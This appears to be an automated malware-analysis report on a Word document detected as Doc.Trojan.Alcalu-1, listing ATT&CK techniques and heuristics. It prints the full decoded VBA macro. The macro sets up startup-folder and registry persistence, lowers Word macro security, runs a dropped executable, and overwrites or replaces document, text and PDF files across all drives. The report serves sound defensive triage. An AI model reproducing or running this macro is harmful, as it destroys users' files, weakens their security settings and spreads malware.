MALICIOUS
520
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The VBA macro contains a Document_Open subroutine that executes a batch file to establish persistence via the startup folder and registry keys. It also attempts to copy the current document to 'c:\windows\normal.doc' and execute 'c:\syra.scr'. The critical heuristic 'OLE_EMBEDDED_EXE' indicates that a PE executable was embedded within the OLE object, which is likely the payload dropped by the macro.
Heuristics 10
-
OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
-
ClamAV: Doc.Trojan.Alcalu-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Alcalu-1
-
Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
-
Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILEOLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2424 bytes |
SHA-256: 4657cddd7e42a5b0f5fab99a4137bb1d9b1a1db6b5db35f9724880bd57da381a |
|||
|
Detection
ClamAV:
Doc.Trojan.Alcalu-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
On Error Resume Next
Dim fso, f
Open "c:\windows\startm~1\programs\startup\winword.bat" For Output As 1
Print #1, "@echo off"
Print #1, "ctty null"
Print #1, ":: MS Word needs this file.. Don't attempt to delete it"
Print #1, "regedit /s c:\windows\winword.reg"
Print #1, "start c:\windows\normal.doc"
Close 1
Open "c:\windows\winword.reg" For Output As 2
Print #2, "REGEDIT4"
Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"
Print #2, """Level""=dword:00000001"
Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"
Print #2, """Level""=dword:00000001"
Print #2, """AccessVBOM""=dword:00000001"
Close 2
Shell "regedit /s c:\windows\winword.reg", vbHide
Call haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(ActiveDocument.FullName)
f.Copy ("c:\windows\normal.doc")
Set b = Assistant.NewBalloon
With b
.Heading = "Whew!!"
.Text = "Wassup, doc? You have so many document files in your hard drive.. Better remove some.."
returnValue = .Show
End With
Shell "c:\syra.scr", vbHide
End Sub
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "\")
End If
Next
haha = s
End Sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "doc") Then
Set f = fso.GetFile(ActiveDocument.FullName)
f.Copy (f1.Path)
ElseIf (ext = "txt") Or (ext = "wri") Or (ext = "pdf") Then
Set f = fso.GetFile(ActiveDocument.FullName)
f.Copy (f1.Path & ".doc")
fso.DeleteFile (f1.Path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub
'DOC / Doctor by alcopaul
|
|||
embedded_office_00002c3f.exe |
embedded-pe | Office MZ+PE at offset 0x2C3F | 56257 bytes |
SHA-256: 1b18e07c18f7de6a6476e08a3a3865b5611bab6dd9f50963baf03a0b2c172471 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_952634419/Ole10Native | 36964 bytes |
SHA-256: 48f557f1c0d123ebc8934317202cc09eba6ed4317f6a1ac8882568e2f9099261 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.